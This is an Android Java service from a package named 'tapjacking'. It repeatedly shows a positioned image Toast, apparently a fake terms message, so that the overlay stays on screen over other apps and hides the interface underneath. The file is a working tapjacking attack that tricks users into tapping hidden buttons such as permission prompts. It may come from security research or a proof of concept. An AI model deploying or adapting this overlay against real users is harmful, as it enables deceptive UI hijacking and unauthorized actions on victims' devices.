ToastService.java

package com.example.tapjacking;

import java.util.Timer;
import java.util.TimerTask;
import android.annotation.SuppressLint;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.os.Handler;
import android.os.IBinder;
import android.os.Looper;
import android.view.Gravity;
import android.widget.ImageView;
import android.widget.Toast;

public class ToastService extends Service {


	private int duration = Toast.LENGTH_LONG;
	private Context context;

	private Toast jam;
	private Timer t;

	@Override
	public IBinder onBind(Intent intent) {
		return null;
	}

	@Override
	public void onCreate() {
		super.onCreate();
		//instantiate variables
		t = new Timer();
		context = getApplicationContext();
		jam = new Toast(context);

		//setup tapjacking image
		ImageView img = new ImageView(context);
		img.setImageResource(R.drawable.ic_terms_message);
		jam.setView(img);
	}

	@SuppressLint("NewApi")
	@Override
	public int onStartCommand(Intent intent, int flags, int startId) {

		jam.setDuration(duration);
		Bundle e = intent.getExtras();
		int rep = 0;
		if (e != null) {
			// if the parameters are not passed they will be set to 0
			jam.setGravity(Gravity.TOP | Gravity.LEFT,
					e.getInt("_com_example_tapjacking_leftOffset"),
					e.getInt("_com_example_tapjacking_topOffset"));
			rep = e.getInt("_com_example_tapjacking_repetitionTime");
		}

		/*
		 * generate tapjacking screen
		 * 
		 * If the repetitions weren't set just use a default value
		 */
		if (rep == 0)
			rep = 15000;
		/*
		 * using a timer task that repeats at fixed intervals for periodic
		 * appearance of toast.
		 */
		if(rep<=5000)
		{
			t.scheduleAtFixedRate(toastTask(), 0, rep);
		}
		if(rep>5000&&rep<=10000)
		{
			t.scheduleAtFixedRate(toastTask(), 0, rep);
			t.scheduleAtFixedRate(toastTask(), duration, rep);
		}
		if(rep>=10000&&rep<=20000)
		{
			t.scheduleAtFixedRate(toastTask(), 0, rep);
			t.scheduleAtFixedRate(toastTask(), duration, rep);
			t.scheduleAtFixedRate(toastTask(), 2*duration, rep);
			t.scheduleAtFixedRate(toastTask(), 3*duration, rep);
		}
		
		return super.onStartCommand(intent, flags, startId);

	}

	/**
	 * timertask neccessary for scheduler, calls the generateToast() method
	 * @return
	 */
	private TimerTask toastTask() {
		return new TimerTask() {
			@Override
			public void run() {
				//generateToast();
				jam.show();
			}
		};
	}

	/**
	 * cancels all scheduled tasks and closes the toast
	 */
	@Override
	public void onDestroy() {
		t.cancel();
		jam.cancel();
		super.onDestroy();
	}

}